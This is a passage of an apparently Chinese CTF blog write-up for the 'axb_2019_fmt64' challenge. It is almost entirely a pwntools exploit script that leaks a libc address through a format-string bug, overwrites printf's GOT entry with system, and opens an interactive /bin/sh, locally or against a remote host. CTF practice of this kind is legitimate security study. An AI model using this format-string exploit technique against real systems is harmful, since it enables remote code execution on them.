Leak libc & Final exp

现在,我们只需要获取puts@.plt.got的内容即可计算出libc基址,并且劫持got表地址。

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

# file_name=ELF("./")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./axb_2019_fmt64")

def where_is_start(ret_index=null):
    return_addr=0
    for i in range(400):
        payload = '%%%d$p<--|' % (i)
        sh.recvuntil('Please tell me:')
        sh.sendline(payload)
        sh.recvuntil('Repeater:')
        val = sh.recvuntil('<--|')
        log.info(str(i*8).ljust(4)+' '+val.strip('<--|').ljust(10))
        if(i*4==ret_index):
            return_addr=int(val.strip('<--|').ljust(10)[2:],16)
            return return_addr
        # sh.recvrepeat(0.2)

def dump_text(start_addr=0):
    text_segment=''
    try:
        while True:
            payload = 'Leak--->%10$s<-|'+p64(start_addr)
            sh.recvuntil('Please tell me:')
            # gdb.attach(sh)
            sh.send(payload)
            sh.recvuntil('Repeater:Leak--->')
            value = sh.recvuntil('<-|').strip('<-|')
            text_segment += value
            start_addr += len(value)
            if(len(value)==0):
                text_segment += '\x00'
                start_addr += 1
            if(text_segment[-9:-1]=='\x00'*16):
                break
    except Exception as e:
        print(e)
    finally:
        log.info('We get ' + str(len(text_segment)) +'byte file!')
        with open('axb_2019_fmt64_dump','wb') as fout:
            fout.write(text_segment)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload
        else:
            len1 = len2

# start_addr=where_is_start(720)
# start_addr=0x400720
# start_addr=0x400600
# dump_text(start_addr)
printf_got=0x601030
puts_got=0x601018
payload = 'Leak--->%10$s<-|'+p64(puts_got)
sh.recvuntil('Please tell me:')
sh.send(payload)
sh.recvuntil('Repeater:Leak--->')
printf_addr=u64(sh.recvuntil('<-|').strip('<-|').ljust(8,'\x00'))
libc_addr=printf_addr-libc.symbols['puts']
system_addr=libc_addr+libc.symbols['system']
log.success("libc base address is "+str(hex(libc_addr)))
log.success("system address is "+str(hex(system_addr)))
payload=antitone_fmt_payload(8, {printf_got:system_addr}, numbwritten=9, write_size='short')
sh.recvuntil('Please tell me:')
sh.sendline(payload)
# gdb.attach(sh)
sh.sendline(';/bin/sh\x00')
sh.interactive()
# print(sh.recv())
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注